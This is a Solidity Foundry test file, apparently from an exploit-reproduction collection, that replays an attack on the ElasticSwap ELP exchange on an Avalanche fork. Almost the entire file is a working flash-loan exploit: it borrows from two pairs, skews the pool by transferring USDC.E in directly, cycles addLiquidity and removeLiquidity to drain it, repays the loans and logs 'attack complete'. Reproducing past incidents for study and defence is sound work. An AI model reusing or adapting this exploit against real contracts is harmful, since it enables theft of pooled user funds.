1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107
| pragma solidity ^0.8.10;
import "forge-std/Test.sol"; import "./interface.sol"; import "forge-std/console.sol";
interface ELPExchange is IERC20{ struct InternalBalances { uint256 baseTokenReserveQty; uint256 quoteTokenReserveQty; uint256 kLast; }
function internalBalances() view external returns(InternalBalances memory); function addLiquidity( uint256 _baseTokenQtyDesired, uint256 _quoteTokenQtyDesired, uint256 _baseTokenQtyMin, uint256 _quoteTokenQtyMin, address _liquidityTokenRecipient, uint256 _expirationTimestamp ) external; function removeLiquidity( uint256 _liquidityTokenQty, uint256 _baseTokenQtyMin, uint256 _quoteTokenQtyMin, address _tokenRecipient, uint256 _expirationTimestamp ) external; function swapQuoteTokenForBaseToken( uint256 _quoteTokenQty, uint256 _minBaseTokenQty, uint256 _expirationTimestamp ) external; }
contract elasticswapExploit is DSTest{ IERC20 TIC = IERC20(0x75739a693459f33B1FBcC02099eea3eBCF150cBe); IERC20 USDC_E = IERC20(0xA7D7079b0FEaD91F3e65f86E8915Cb59c1a4C664); Uni_Pair_V2 SPair = Uni_Pair_V2(0x4CF9dC05c715812FeAD782DC98de0168029e05C8); Uni_Pair_V2 JPair = Uni_Pair_V2(0xA389f9430876455C36478DeEa9769B7Ca4E3DDB1); ELPExchange elp = ELPExchange(0x4ae1Da57f2d6b2E9a23d07e264Aa2B3bBCaeD19A); CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public{ cheats.createSelectFork('avax',23563709); }
function testExploit() public{ TIC.approve(address(elp),type(uint).max); USDC_E.approve(address(elp),type(uint).max);
SPair.swap(51_112 * 1e18,0,address(this),new bytes(1)); }
function uniswapV2Call(address sender,uint256 amount0,uint256 amount1, bytes calldata data) external{ JPair.swap(766_685 * 1e6,0,address(this),new bytes(1)); TIC.transfer(address(SPair),51_112 * 1.01 * 1e18); console.log('attack complete, usdc.e balance:',USDC_E.balanceOf(address(this))/1e6); console.log('attack complete, tic balance:',TIC.balanceOf(address(this))/1e18); }
function joeCall(address sender,uint256 amount0,uint256 amount1,bytes calldata data) external { uint _baseTokenQtyDesired = TIC.balanceOf(address(elp)); uint _quoteTokenQtyDesired = USDC_E.balanceOf(address(elp)); elp.addLiquidity(_baseTokenQtyDesired, _quoteTokenQtyDesired, 1, 1, address(this), block.timestamp); console.log("addliquty complete tic:",_baseTokenQtyDesired/1e18); console.log("addliquty complete usdc.e:",_quoteTokenQtyDesired/1e6); USDC_E.transfer(address(elp),USDC_E.balanceOf(address(elp))-1000_000);
uint256 _liquidityTokenQty = elp.balanceOf(address(this)); console.log("addliquty complete lp:",_liquidityTokenQty); elp.removeLiquidity(_liquidityTokenQty, 1, 1, address(this), block.timestamp);
elp.swapQuoteTokenForBaseToken(50*1e6,1,block.timestamp); console.log('buy tic successful',TIC.balanceOf(address(this))/1e18);
uint256 base_amount = TIC.balanceOf(address(this)); uint256 quote_amount = USDC_E.balanceOf(address(this)); elp.addLiquidity(base_amount,quote_amount,1,1,address(this),block.timestamp);
elp.removeLiquidity(elp.balanceOf(address(this)),1,1,address(this),block.timestamp); console.log('usdc.e balance:',USDC_E.balanceOf(address(this))); USDC_E.transfer(address(JPair),766_685 * 1.011 * 1e6); }
}
|